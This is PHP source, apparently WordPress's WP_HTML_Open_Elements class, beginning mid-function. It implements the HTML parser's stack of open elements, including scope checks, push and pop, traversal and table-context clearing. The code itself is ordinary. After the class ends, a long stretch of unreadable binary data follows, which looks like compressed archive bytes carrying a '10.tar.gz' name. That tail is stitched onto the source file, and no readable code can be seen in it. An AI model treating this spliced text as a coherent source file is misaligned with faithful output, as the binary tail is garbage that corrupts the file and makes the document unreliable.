			if ( $token === $item ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Returns how many nodes are currently in the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @return int How many node are in the stack of open elements.
	 */
	public function count(): int {
		return count( $this->stack );
	}

	/**
	 * Returns the node at the end of the stack of open elements,
	 * if one exists. If the stack is empty, returns null.
	 *
	 * @since 6.4.0
	 *
	 * @return WP_HTML_Token|null Last node in the stack of open elements, if one exists, otherwise null.
	 */
	public function current_node(): ?WP_HTML_Token {
		$current_node = end( $this->stack );

		return $current_node ? $current_node : null;
	}

	/**
	 * Indicates if the current node is of a given type or name.
	 *
	 * It's possible to pass either a node type or a node name to this function.
	 * In the case there is no current element it will always return `false`.
	 *
	 * Example:
	 *
	 *     // Is the current node a text node?
	 *     $stack->current_node_is( '#text' );
	 *
	 *     // Is the current node a DIV element?
	 *     $stack->current_node_is( 'DIV' );
	 *
	 *     // Is the current node any element/tag?
	 *     $stack->current_node_is( '#tag' );
	 *
	 * @see WP_HTML_Tag_Processor::get_token_type
	 * @see WP_HTML_Tag_Processor::get_token_name
	 *
	 * @since 6.7.0
	 *
	 * @access private
	 *
	 * @param string $identity Check if the current node has this name or type (depending on what is provided).
	 * @return bool Whether there is a current element that matches the given identity, whether a token name or type.
	 */
	public function current_node_is( string $identity ): bool {
		$current_node = end( $this->stack );
		if ( false === $current_node ) {
			return false;
		}

		$current_node_name = $current_node->node_name;

		return (
			$current_node_name === $identity ||
			( '#doctype' === $identity && 'html' === $current_node_name ) ||
			( '#tag' === $identity && ctype_upper( $current_node_name ) )
		);
	}

	/**
	 * Returns whether an element is in a specific scope.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-the-specific-scope
	 *
	 * @param string   $tag_name         Name of tag check.
	 * @param string[] $termination_list List of elements that terminate the search.
	 * @return bool Whether the element was found in a specific scope.
	 */
	public function has_element_in_specific_scope( string $tag_name, $termination_list ): bool {
		foreach ( $this->walk_up() as $node ) {
			$namespaced_name = 'html' === $node->namespace
				? $node->node_name
				: "{$node->namespace} {$node->node_name}";

			if ( $namespaced_name === $tag_name ) {
				return true;
			}

			if (
				'(internal: H1 through H6 - do not use)' === $tag_name &&
				in_array( $namespaced_name, array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ), true )
			) {
				return true;
			}

			if ( in_array( $namespaced_name, $termination_list, true ) ) {
				return false;
			}
		}

		return false;
	}

	/**
	 * Returns whether a particular element is in scope.
	 *
	 * > The stack of open elements is said to have a particular element in
	 * > scope when it has that element in the specific scope consisting of
	 * > the following element types:
	 * >
	 * >   - applet
	 * >   - caption
	 * >   - html
	 * >   - table
	 * >   - td
	 * >   - th
	 * >   - marquee
	 * >   - object
	 * >   - template
	 * >   - MathML mi
	 * >   - MathML mo
	 * >   - MathML mn
	 * >   - MathML ms
	 * >   - MathML mtext
	 * >   - MathML annotation-xml
	 * >   - SVG foreignObject
	 * >   - SVG desc
	 * >   - SVG title
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full support.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'APPLET',
				'CAPTION',
				'HTML',
				'TABLE',
				'TD',
				'TH',
				'MARQUEE',
				'OBJECT',
				'TEMPLATE',

				'math MI',
				'math MO',
				'math MN',
				'math MS',
				'math MTEXT',
				'math ANNOTATION-XML',

				'svg FOREIGNOBJECT',
				'svg DESC',
				'svg TITLE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in list item scope.
	 *
	 * > The stack of open elements is said to have a particular element
	 * > in list item scope when it has that element in the specific scope
	 * > consisting of the following element types:
	 * >
	 * >   - All the element types listed above for the has an element in scope algorithm.
	 * >   - ol in the HTML namespace
	 * >   - ul in the HTML namespace
	 *
	 * @since 6.4.0
	 * @since 6.5.0 Implemented: no longer throws on every invocation.
	 * @since 6.7.0 Supports all required HTML elements.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-list-item-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_list_item_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'APPLET',
				'BUTTON',
				'CAPTION',
				'HTML',
				'TABLE',
				'TD',
				'TH',
				'MARQUEE',
				'OBJECT',
				'OL',
				'TEMPLATE',
				'UL',

				'math MI',
				'math MO',
				'math MN',
				'math MS',
				'math MTEXT',
				'math ANNOTATION-XML',

				'svg FOREIGNOBJECT',
				'svg DESC',
				'svg TITLE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in button scope.
	 *
	 * > The stack of open elements is said to have a particular element
	 * > in button scope when it has that element in the specific scope
	 * > consisting of the following element types:
	 * >
	 * >   - All the element types listed above for the has an element in scope algorithm.
	 * >   - button in the HTML namespace
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Supports all required HTML elements.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-button-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_button_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'APPLET',
				'BUTTON',
				'CAPTION',
				'HTML',
				'TABLE',
				'TD',
				'TH',
				'MARQUEE',
				'OBJECT',
				'TEMPLATE',

				'math MI',
				'math MO',
				'math MN',
				'math MS',
				'math MTEXT',
				'math ANNOTATION-XML',

				'svg FOREIGNOBJECT',
				'svg DESC',
				'svg TITLE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in table scope.
	 *
	 * > The stack of open elements is said to have a particular element
	 * > in table scope when it has that element in the specific scope
	 * > consisting of the following element types:
	 * >
	 * >   - html in the HTML namespace
	 * >   - table in the HTML namespace
	 * >   - template in the HTML namespace
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full implementation.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-table-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_table_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'HTML',
				'TABLE',
				'TEMPLATE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in select scope.
	 *
	 * This test differs from the others like it, in that its rules are inverted.
	 * Instead of arriving at a match when one of any tag in a termination group
	 * is reached, this one terminates if any other tag is reached.
	 *
	 * > The stack of open elements is said to have a particular element in select scope when it has
	 * > that element in the specific scope consisting of all element types except the following:
	 * >   - optgroup in the HTML namespace
	 * >   - option in the HTML namespace
	 *
	 * @since 6.4.0 Stub implementation (throws).
	 * @since 6.7.0 Full implementation.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-select-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether the given element is in SELECT scope.
	 */
	public function has_element_in_select_scope( string $tag_name ): bool {
		foreach ( $this->walk_up() as $node ) {
			if ( $node->node_name === $tag_name ) {
				return true;
			}

			if (
				'OPTION' !== $node->node_name &&
				'OPTGROUP' !== $node->node_name
			) {
				return false;
			}
		}

		return false;
	}

	/**
	 * Returns whether a P is in BUTTON scope.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-button-scope
	 *
	 * @return bool Whether a P is in BUTTON scope.
	 */
	public function has_p_in_button_scope(): bool {
		return $this->has_p_in_button_scope;
	}

	/**
	 * Pops a node off of the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#stack-of-open-elements
	 *
	 * @return bool Whether a node was popped off of the stack.
	 */
	public function pop(): bool {
		$item = array_pop( $this->stack );
		if ( null === $item ) {
			return false;
		}

		$this->after_element_pop( $item );
		return true;
	}

	/**
	 * Pops nodes off of the stack of open elements until an HTML tag with the given name has been popped.
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Open_Elements::pop
	 *
	 * @param string $html_tag_name Name of tag that needs to be popped off of the stack of open elements.
	 * @return bool Whether a tag of the given name was found and popped off of the stack of open elements.
	 */
	public function pop_until( string $html_tag_name ): bool {
		foreach ( $this->walk_up() as $item ) {
			$this->pop();

			if ( 'html' !== $item->namespace ) {
				continue;
			}

			if (
				'(internal: H1 through H6 - do not use)' === $html_tag_name &&
				in_array( $item->node_name, array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ), true )
			) {
				return true;
			}

			if ( $html_tag_name === $item->node_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Pushes a node onto the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#stack-of-open-elements
	 *
	 * @param WP_HTML_Token $stack_item Item to add onto stack.
	 */
	public function push( WP_HTML_Token $stack_item ): void {
		$this->stack[] = $stack_item;
		$this->after_element_push( $stack_item );
	}

	/**
	 * Removes a specific node from the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token The node to remove from the stack of open elements.
	 * @return bool Whether the node was found and removed from the stack of open elements.
	 */
	public function remove_node( WP_HTML_Token $token ): bool {
		foreach ( $this->walk_up() as $position_from_end => $item ) {
			if ( $token->bookmark_name !== $item->bookmark_name ) {
				continue;
			}

			$position_from_start = $this->count() - $position_from_end - 1;
			array_splice( $this->stack, $position_from_start, 1 );
			$this->after_element_pop( $item );
			return true;
		}

		return false;
	}


	/**
	 * Steps through the stack of open elements, starting with the top element
	 * (added first) and walking downwards to the one added last.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_down() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > EM -> STRONG -> A ->
	 *
	 * To start with the most-recently added element and walk towards the top,
	 * see WP_HTML_Open_Elements::walk_up().
	 *
	 * @since 6.4.0
	 */
	public function walk_down() {
		$count = count( $this->stack );

		for ( $i = 0; $i < $count; $i++ ) {
			yield $this->stack[ $i ];
		}
	}

	/**
	 * Steps through the stack of open elements, starting with the bottom element
	 * (added last) and walking upwards to the one added first.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_up() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > A -> STRONG -> EM ->
	 *
	 * To start with the first added element and walk towards the bottom,
	 * see WP_HTML_Open_Elements::walk_down().
	 *
	 * @since 6.4.0
	 * @since 6.5.0 Accepts $above_this_node to start traversal above a given node, if it exists.
	 *
	 * @param WP_HTML_Token|null $above_this_node Optional. Start traversing above this node,
	 *                                            if provided and if the node exists.
	 */
	public function walk_up( ?WP_HTML_Token $above_this_node = null ) {
		$has_found_node = null === $above_this_node;

		for ( $i = count( $this->stack ) - 1; $i >= 0; $i-- ) {
			$node = $this->stack[ $i ];

			if ( ! $has_found_node ) {
				$has_found_node = $node === $above_this_node;
				continue;
			}

			yield $node;
		}
	}

	/*
	 * Internal helpers.
	 */

	/**
	 * Updates internal flags after adding an element.
	 *
	 * Certain conditions (such as "has_p_in_button_scope") are maintained here as
	 * flags that are only modified when adding and removing elements. This allows
	 * the HTML Processor to quickly check for these conditions instead of iterating
	 * over the open stack elements upon each new tag it encounters. These flags,
	 * however, need to be maintained as items are added and removed from the stack.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $item Element that was added to the stack of open elements.
	 */
	public function after_element_push( WP_HTML_Token $item ): void {
		$namespaced_name = 'html' === $item->namespace
			? $item->node_name
			: "{$item->namespace} {$item->node_name}";

		/*
		 * When adding support for new elements, expand this switch to trap
		 * cases where the precalculated value needs to change.
		 */
		switch ( $namespaced_name ) {
			case 'APPLET':
			case 'BUTTON':
			case 'CAPTION':
			case 'HTML':
			case 'TABLE':
			case 'TD':
			case 'TH':
			case 'MARQUEE':
			case 'OBJECT':
			case 'TEMPLATE':
			case 'math MI':
			case 'math MO':
			case 'math MN':
			case 'math MS':
			case 'math MTEXT':
			case 'math ANNOTATION-XML':
			case 'svg FOREIGNOBJECT':
			case 'svg DESC':
			case 'svg TITLE':
				$this->has_p_in_button_scope = false;
				break;

			case 'P':
				$this->has_p_in_button_scope = true;
				break;
		}

		if ( null !== $this->push_handler ) {
			( $this->push_handler )( $item );
		}
	}

	/**
	 * Updates internal flags after removing an element.
	 *
	 * Certain conditions (such as "has_p_in_button_scope") are maintained here as
	 * flags that are only modified when adding and removing elements. This allows
	 * the HTML Processor to quickly check for these conditions instead of iterating
	 * over the open stack elements upon each new tag it encounters. These flags,
	 * however, need to be maintained as items are added and removed from the stack.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $item Element that was removed from the stack of open elements.
	 */
	public function after_element_pop( WP_HTML_Token $item ): void {
		/*
		 * When adding support for new elements, expand this switch to trap
		 * cases where the precalculated value needs to change.
		 */
		switch ( $item->node_name ) {
			case 'APPLET':
			case 'BUTTON':
			case 'CAPTION':
			case 'HTML':
			case 'P':
			case 'TABLE':
			case 'TD':
			case 'TH':
			case 'MARQUEE':
			case 'OBJECT':
			case 'TEMPLATE':
			case 'math MI':
			case 'math MO':
			case 'math MN':
			case 'math MS':
			case 'math MTEXT':
			case 'math ANNOTATION-XML':
			case 'svg FOREIGNOBJECT':
			case 'svg DESC':
			case 'svg TITLE':
				$this->has_p_in_button_scope = $this->has_element_in_button_scope( 'P' );
				break;
		}

		if ( null !== $this->pop_handler ) {
			( $this->pop_handler )( $item );
		}
	}

	/**
	 * Clear the stack back to a table context.
	 *
	 * > When the steps above require the UA to clear the stack back to a table context, it means
	 * > that the UA must, while the current node is not a table, template, or html element, pop
	 * > elements from the stack of open elements.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-stack-back-to-a-table-context
	 *
	 * @since 6.7.0
	 */
	public function clear_to_table_context(): void {
		foreach ( $this->walk_up() as $item ) {
			if (
				'TABLE' === $item->node_name ||
				'TEMPLATE' === $item->node_name ||
				'HTML' === $item->node_name
			) {
				break;
			}
			$this->pop();
		}
	}

	/**
	 * Clear the stack back to a table body context.
	 *
	 * > When the steps above require the UA to clear the stack back to a table body context, it
	 * > means that the UA must, while the current node is not a tbody, tfoot, thead, template, or
	 * > html element, pop elements from the stack of open elements.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-stack-back-to-a-table-body-context
	 *
	 * @since 6.7.0
	 */
	public function clear_to_table_body_context(): void {
		foreach ( $this->walk_up() as $item ) {
			if (
				'TBODY' === $item->node_name ||
				'TFOOT' === $item->node_name ||
				'THEAD' === $item->node_name ||
				'TEMPLATE' === $item->node_name ||
				'HTML' === $item->node_name
			) {
				break;
			}
			$this->pop();
		}
	}

	/**
	 * Clear the stack back to a table row context.
	 *
	 * > When the steps above require the UA to clear the stack back to a table row context, it
	 * > means that the UA must, while the current node is not a tr, template, or html element, pop
	 * > elements from the stack of open elements.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-stack-back-to-a-table-row-context
	 *
	 * @since 6.7.0
	 */
	public function clear_to_table_row_context(): void {
		foreach ( $this->walk_up() as $item ) {
			if (
				'TR' === $item->node_name ||
				'TEMPLATE' === $item->node_name ||
				'HTML' === $item->node_name
			) {
				break;
			}
			$this->pop();
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.6.0
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
PKE�N\�Ov���	10.tar.gznu�[�����	�+YU0����#(���2�I�dO�ݯ�M�;ݝޗ�ޣ_%�$՝T��*�N�<Dd�TqdQ6d�P@EPDQD�@���s�U�*�t�73���?�y�T�{�۹g��VP���r���'N>}}���ɾD�@�����x/y��z����������l�&�m�_���S߼�4s�M���&I�n�)3;�F�|�������~᩿<� �h��LHw���=�F~o)������r���w�&��j�;�$=잧�?���_W����L���O��
���S���W��ۏ{�=o��w�ջ_�ۻ�_�w�o�돺��w���_��W�~������F�yo<u��~���ew�����ݿ�x����")�����{�P���ĕG�!����y����{���Aҭ�o*Ʌ⅋d��|S�6ievE�V+�T�5����/�n�A�XLZ1��lȖ�k��7��bYjU��$�V�JwP
����7tx���3�)���"����+P�"k%��
Cnv-u�OA!�
�O� �pk�U���5��}~o-���^�^
����ċ�\���h�Gq~�����G�\��c�/��c�|�#E���ʪ���+�ǂtDje�ث��I7h���^^���U�Ɍ�G�=�@�7�==-���助`�fiO���G%2I�b�y�W�)TP�r�b����BQ2����R��
y
��i��ǚ'ѾQ�~�T�"K����VTK�o�>�3(u�|SW�*({� ��F3(��cka	^jJc�H��q��(���,�
��g�'��H�t_-�rPF�[����g�H��nV�[�Z-��@���+US�m�6q�X�����Y)%E�%K�+�M�K��Š&�*
�DF���Qޛ������@����JY7����N�kr�V�.��ɦ�Ѝ}�</��K1���l*A���7=x��R�����b����d*� *�~a�uCكj������7���%ˢ������L�ԢK�l���T�r&P�]���T�
Y[m�m3Y&[L����&�(����T�׈����˼�����w��xK�%Jh	)��ǥۤ�r�*_
䦹_uC=���	J].d)�6)z�QdF8Z�	��R)g�
2&��v��̭�J�L���6�k������^jr2���[H-�l�f�@�IY�I�tt~�U��.ZM�
�`���������U$�JΗ%�[I6%���9Z�`�t��ap�ˌ�e�=��32F����C�!���������k�/�C��&�E��ǞI5%�}U&�tJRipϮ����E�):"��凄eȚY�w�Mź�G����}�R�-�T����
��'�mxt	KB��b�
M�By܋�<����bA���&��aJ�V�S�$�	A6�#����}^�3��>Ȍ�Eɐ !q�^��y�j�)D��B]�	jP�P���9��@D�? [t18K*��R*��T�s䰎�5��`غhŞ2%�_RZlɵ@�/�l@���j_�p��"�׵�����V��#5Ũ��6�R�2�(_b6�y>ʸ��"<"����y8C(�C{q�T����U�U�Oa�G���!�����bѭ�����)�@J�!5�9���	O��V:r��)�zE6ܠ"�@
8�\�&�i �5%O�'7�\'�}�>�)�I��:K:��.`�44�E�	_�&�	����TSk�XMf��4�����YQ��A�#%��IV*:��&�.�)H�"�,a����Ѳ���탲��k�D�A�3m��v�!ڛC��:�����$��7�!���7}�{���B�V��ޛx�:z���M�!ju�
/�{CJ�Ze�T$���$ǵňh��*a0��ǯLX���*<�;�DZ#PG�c�8��|i��$�r_���2P
��&B+A��v
p�f~��R�A� ye&�|	V��v��p��A?�݀��=�-<�}0�j󾐙f� (E�|Aأ�Gr���
KC=�3V&o�c�Ԡ���� O`jn���y�cR='6r\OG��t6�!�H7�nn����)87��.1j3 �S��m��w��=�>�|DN�y�0���P9VM��)�UV�bt&u�"�wdJ5k��B�#�lYd��(�5��o ���QT����6k
V���9�ݼ�
0~��z:9��^�\={��ڙR̼��h�Q���=[T�v���^P��U�`\p�P�ǥ�++u��݃
'�L����Z�B�Z�)U�p+F�.�"��^S4VX
��2 �}����-���R�e]*��`jai���w��jE��_!B�f�E�Mi���I9a�b���
�F������+�!B	2��ƥ�x���[Ҵ^�
���S���-٪�#��=���5>��W@�� ��J�$2�}Ĵ_���d��pkڢ
}�#1�
�y*RB4J�W7�0��'����#״�%S�L,}������c�&��o�rfmt>��)�n�[<���l<sV�g���D6��ڑ����Y���Z����H�G^Ղ�"�pG�67��>��{�<��#�=n�n��`?��B����ؘp�ѕ���@p��N��w��X��z�.vQr�D�<����<�״2�DZr����8����9DK��Er��p�:
e�ntN]�9/��
��E9|'�~�=M����L"G@ ���ѿ�i�<?	�~��FbO�s�e�
�
���z�_׋(��|�PHpΟG[W�o�k`�\�>��a�u2��&@!�Ͳأ±.�y�^c�kg�����
N
jʡ��H����zδ�hX��%¨3
,Dװ�g����.��zKW1髀���{p���)�z5C)�B�/㳰X��qp�/�
��dG�5��FX�E�|5�2u�B̸"�^��kJU7%�
�����8^�-�"5�g��|�����dH�Q�w8=�����,�
�8�H�%i6�u��-�R
 H��)��ȣq�6y!&��zD�ɞ����t�'?I���M����0&�!|Ėbn�ѥ�U�^��$���).9@-������� �BV�R�����qZ�B��z�D`�]sjb8��jg��10~�|Lo�����km
X1 U�������`��q���!��yo�;��4�A�]���=_�9
횗.�F/�Dɦ��VwO@���<�ht�x�CΈ��7R�=@'��*�Y�'�@��/(^��L�g�@.k��7�^�F�L��ꦩ��hx��3��&��N���~p&���j>��U� �T���<�^]�$		���R�`yMD���t�\#��=�4�Y��SC7�1��!+�A�s�Ȁ���Kr2U���C'z�* ܓ��v�L��[ph�)�ǀ�dvs�(��WY�>�U�"Ѵ-��X�]ޒ�R��Dj=���8��W#�����G��4�j�TQ����D��}c�}���a�w�5���"y�}����c�-��~Z�u�γ�S�`���K(g�阳��3i]"3ض.��&,��l�׭�P��v�U���=씈\X�'�ͪ�����2Ȉ��#�8o���\���D광-*�o�#����q����^�.]#�%�G=,��B�Z�Uz.�#G��G�"daėa�h�j�w��,����E��Y��2���j�vT��ť����ڞ>
���.�Ԅ�TX�5C���hP�Q*�b!�f��/(���(F�˚D�0V�n[��̊��  ��8�}d-F��2"	!d!�9�i&����o��7Y_�b��g�l�
����<��I`J��t�ƨ����`��+�]O/�'��m�����$֣#�իDP*��=|x�(�����:�RfZJogֳ��U;������z#�;ҾS5��NeӬ	g�R⊻-�IB",Q�]A�}^%��G%�$<	����kĦ�e���kY)��]v����Z�H�w��(������>A���`͝߇�G�>{��\(%��N�e�����q�_�ߍ�`��+��Q���J���5(�P�УH�7�T��2�=-+��haA�N��i����Fvy/�D�bz);v�r�JH�E5����"6d���'o+�)Qo
v��:�T-�ik'R��f#j�@g.�QBu�	�<
ŭ�
!J��
��
��q�,}E	�\Q��A]������!��<���`TB���TF�!d5�u"�G�'�L����Yg_�f��s!A�2ԺD�� �K[$�:80� ��./�zc�Z*݊���])�@�mY�q r�`��A��&�j2� >���x~�TN�d�-w��{�)ĔvK

�aP�CM~���h+��nx��$��#����|ݲM�7x0€�*����'d�ȌV\��Ys^$�#�94��3;C����/VK��������?�C�+���V�5	�"[	��IK:�:�8�L�jٶ2N�	��`��x/wDk{,҂�\�%u����&��|X�Ij�u�KMN-7�鮙����/=��:A��k�����nn��K��8�����>�^9zpX��<Ln�/<�%����>ʼ?m]��Q�L��}�-�B���o)�DN�"moo:����#�\$�Z�d6���zU!�R��ޮ&�Hh����P���dΈ�����c�Հ�2��0#��0�zE7F�9(��4�@U���%m*FA���ˆ�Y�r�Xj�ʚ?�"���R1"^��ʔ�,�_�2=	�#�h�tN��A��Ð*�ШQ��Vj�#N;['@@���=�`��'�V�2"ՍJw����>�մ�(�ڰ�9��ֈ�ϔ��,�o��%�m~�V'S��W_X�—���Dv#�J��2K����U򰴶��^��{�����X�x��k�~_o2���.n��S)�7�SK4���T#�X$�-n��Job?x8�h���D2[R��K�Un�Ȑ��Dj3�r2�\��k������zI�Sf�}Y�P��yO�W�Ofv
foSK5���Jo�گ��[��S%5�Y
���wB��B�?�3��
��ɐ�<߻��������)��s���L���Au�Ȥ���ذ�ѷP�+��D%#�I�����`&����|��ր��o��7}s�m}{S7��t�R\��z3s�um�\��˛������Fc!ۯ$�}��a��K��V&a���ɾ�99����1*�F?�$����Ӊ�U�xqv����N����U��C��A���I� �]���Uˈ�lM^�/n���Z)64a��������ON-V{&��Å������Do%]�d���>�d,_X>��>�
Vr[������AoV7��S�fc_�-�%Nvj�SfM����R�p~�`hik V���哤���O��s��^ym��m��i�������ө�F_�f��^>��}������Vl�0So��qs+T��eW5넌���{���7br?Y������Tڀ5�?�[-¢�?�o�gc��I��6�si�n!��S�^:���zw��*���A.9Wɤ+��V��Q�,��V��[CP!�QI�n��ɥ��՝3���6�wN�v�7k3�kNjjzR����#}��VV��չ��fC�vr���Ƃ���t����g�cťE�/����\X-�v�;�KǫG�����%m�dm`��v<��������j3�q����̴��_:܌-��rr��̪��nhubj'��[�Շ��fz���b%����W+�	=�H�*d�lf�R��Fv~`!n�ֶC����n2���8�X�ke��Xب�O����ܿ�.�d��F%?x�8��X[8���哾�ɉ�)���4��������ω�����q0W*��ƨˉ@��Ԥ�xX��@�}y[���˗��AN?��0����ݭ���/X�� � k��D`�=~�gX+��@�`��
7\�j������]����� b�PY��3'X�h�.1��0)5�zE!�*rNA��6��v:#��ɚ�[:9ǻK#��ql�O�	6(�� �S,�k�œ�<E���&�e˪���ѿ{+�k���w����:@c�����׶RkS驽����/�~Ű3�H���ٳVE=a��_���]F�y�zp�]^��x!70���(Q�}�����EW�#���&�Co�V���jMd�=�h�m�ܦgf	,4��_0k��w4��.Kwʎ�����61Χ�pt;�Z65�#ۍ��?y%��Tr���6�a���s���45�Bt���c�C	���ˉG��+�X�gX��j�A��Z	�I�(+n�!�5��o�EEC
�X	��f�ub�7p�V�Z
���ü�$U�'�PgMw�L:{)H���(��x����g�ֱ�w

V+H���KA�464J���+�ż
:Ԁ���SF<���Z<��wK���]���*z�	}&��+����� ��L��`��Pc1�v��L�U��W2�i�6H��)�_t@������h�P�:GZ7T�S
R0��'�BLie����U84��qѢ�此�U�۸b�h4:�S�g"�d��w}�͟xW�?�J��'���I�x���O��o��{>��O��'�#}�=��[?�ޛݾ)ΠD�ts�6�TYy
�.�]h�*豂�~����1�P!b|H��N���3&훺�WPh�T	�N�`���=j��cl������N�H������!l<:�I\c�AL�lTR��? A�,��x}zP Wu��I��ո����QC�
��SJ��[���7S��:;
	4k����P��XP�ފJ_56���`��I����2���c�d`��D��b�
�L�g-�$+N�.��#T{�'יUVE<���� ���7��	�B��.ɔ-�h�Mh�)J�F5�
m8%��,LC1��k��x�_"�]z�{M!�lK�Ǿ���|�<���>�G���$u��Jw��B@�#��.��KKJ#�L>�b�C�����1���ɂkθ�:�o�P�8�1��}x]U+�^�G<@��a8c̃0uu����vl��ٶ
Qt�q�B|\�Ɇ0���0�$�+ڍ���Ƥ@4@í��@KĚ��A���0T
ꍶ������2�0�Fc��%���Ͱ��H��`��H~-c��Ƽ�(�O{da�
���r��>�����L
�e��LGrlB�K^7�]�{:�r���c�#�����v��B�'0��1���4Ͷ���`r��.�A9ЫW��=*zI՘6����������XS"v9*�q���2�מ�j�j!�3���[�P�.'��_�W��ܼ��F��N�{��2�ΎU�*;���"8���3!���T�����涠S��)�s�{a>���(�X������'@�'��9�Ğ�,/f�+�4�ԙ����*o��.O���>�v�s�S�U�;NǦ�K�-����G̙ȕ���`�
Y���7�?}G�_��+	��|�v��kl|:�	�j|HĤQ�Bnr�#��p"�9+�1i�0ʧsј�Z�d�Ky�Sף�0�ȗ��=ჷ����e����c�O������.�\\�F$�[���Z8�m;��ܣ�B���{�m'�ރ��E�D�Z0lQ�a��p�Ҷ��!L�kQX7�1�s�^϶BPt��>̈́C��|.�����)
;�_h[8�5�‹t��Ð@��`"�ԃ��b�(:�HzCP�!u�;Zmo7XD�^'՞Fg5	�信aQ�rL0z$�kYѴ�G'�7F�x6+���z5�jJ[ ��(}o3����7���K�"bTzg䘈{*�gW���3w�����v�w�)��g"k��K��tc�4
wFw�4���H�n��u��[�␴0�K��2���{�>����v��Y1�ù�i�l���� BP>��͙9��"�FL�3F)Bu2f09�l�dj%VOwt�b����tXJ�ͭ̄�ޱ�%�ol}�<�[Y�
Kc�+��<X#�m�Kj���B�?|��kJ��}/_�^�׹j��%|���sj��0U	�mP,�M�Ѫp�Ei�5U��y��̖�}�)ʢ���P>�L�O�<�)o���)x�8�EUS%4��!�rS��K�9?��<�I��;��u{&����6g s<�:��z�-�v�C�L�G��	:��$��x|T�c�lDJ�qI���ҥ�nYz5,ݢ���y)���-��2T���p�0������sq� �O��!ˈ��*�UȤ��*_�S�=]�JN��r�'���	�L U�5��Ud� 0�aT��?�V��N��D*��j�h���O:YfT��t����wT�dn���R0:3��y����f9��.|F��^#O��4�����B�g"O�f�KY"�N)Z�X���t�O�=�������<��f�� �B����{Dz�LH8~��+��ک�gө)RL:��Zz:��0>k����Rv-��N*9�G���*�Jj
�X�
�9U\Q:�[�M#�3v)p�0������KO�r[>�eC��:��]���W��O{y�R�m
m�r��
�gk�;���9��$��x��D0���d��}�9�b��@�<���x�
�'�"l�s=��:�V���G5,l%BCd�E��k#C)6n����HU����Y5h��<VP �z��
I�"&ce,AAKЇh�K�z�^����W}�]�p!F��h�o�	���'N��!��
Ї>R��j�9��ufz�D�T���U	mS5x�w����A ��=R�ۑ
j�����}<>00<<�q8M���xd�G�:\�ԙ�&GDkt׀ӂV�Ze�A�:=�����Ԣ_����"����}��&�+�ϷtKjrbbr��	�-�@�U�躑 
;ءיm��A�eH�RH��[�5�'�f��y��kpH9��Gt��D�i:
��6�B��Ģ�vE�����X��m����Ԥk,���0%>�� �{!��]%yJ���� ���,R��p췄8K�0RT
ӊ��j�p-�ei�ܺ|_�0Y
